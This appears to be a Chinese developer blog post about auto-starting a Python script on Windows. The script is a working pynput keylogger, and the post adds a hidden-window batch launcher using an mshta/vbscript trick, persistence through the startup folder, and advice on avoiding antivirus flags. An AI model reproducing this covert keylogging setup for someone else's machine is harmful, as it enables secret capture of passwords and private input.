前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows 设置 Python 脚本开机自启的一些心得

Windows 设置 Python 脚本开机自启的一些心得

作者头像
Hsinyan
发布2022-08-30 15:25:38
3.4K0
发布2022-08-30 15:25:38
举报

前言

最近遇到一个需求,需要监测键盘输入,将其输出到指定的文件中保存,代码本身不复杂,但是配置脚本在 Windows 环境中自启的时候遇到了一些麻烦。

脚本代码

代码语言:javascript
复制
from pynput.keyboard import Listener, Key

import logging
from datetime import date

directory = f"D:/key"  // 日志文件保存路径
today = str(date.today())

logging.basicConfig(filename=f"{directory}/{today} log.txt", level=logging.DEBUG, format="[%(asctime)s]: %(message)s")

def on_press(key):
    logging.info(key)


def on_release(key):
    pass

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

解决思路

pyinstaller+nssm

使用 pyinstaller 将 Python 程序打包为 exe 文件,并且使用 nssm 配置为系统服务,nssm 是一个服务封装程序,它可以将普通 exe 程序封装成服务,使之像 windows 服务一样运行。同类型的工具还有微软自己的 srvany,不过 nssm 更加简单易用。

相关配置可以参考:Windows 使用 NSSM 将任意 exe 封装为服务 - 终点站

此思路在我自己的电脑上测试正常,但是在其他人电脑上 exe 程序会被 windows 防火墙误杀,查了很多资料才得知是 python 代码中使用了 OS 库,涉及了敏感操作会被杀毒软件误杀,所以要么不用 python 自带的 os 库,要么使用别的方法进行配置。

pythonw+设置开机自启 bat

使用 python 命令运行 py 文件,会保留 cmd 窗口,当窗口误关闭时,程序就会中断,这不是我们想要的。查询相关资料得知有 pythonw 这个东西,pythonw 是无窗口的 Python 可执行程序,意思是在运行程序的时候,没有窗口,代码在后台执行。

既然如此,就可以写这样的 bat 脚本

代码语言:javascript
复制
@echo off 
if "%1" == "h" goto begin 
mshta vbscript:createobject("wscript.shell").run("%~0 h",0)(window.close)&&exit 
:begin 
start /b cmd /k "pythonw D:\keylogger.py"

最后一行是使用 pythonw 执行你的 python 脚本,将这个 bat 脚本设置为开机自启即可。具体设置步骤如下:

  1. win+r 输入 shell:startup
  2. 将写好的 bat 脚本拖入,便会开机自启动

总结

总的来说,要设置 Python 脚本开机后台自启,持续运行,

  1. 将 python 程序打包成可执行文件(exe)文件,再使用 nssm 配置为系统服务,如果使用到了 os 库,则会有被杀软误杀的可能,建议使用下面的方法
  2. pythonw+开机自启 bat,这种配置起来比较麻烦,需要在使用的机上安装 Python 环境,才可以正常使用,不过不会报毒。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 脚本代码
  • 解决思路
    • pyinstaller+nssm
      • pythonw+设置开机自启 bat
      • 总结
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档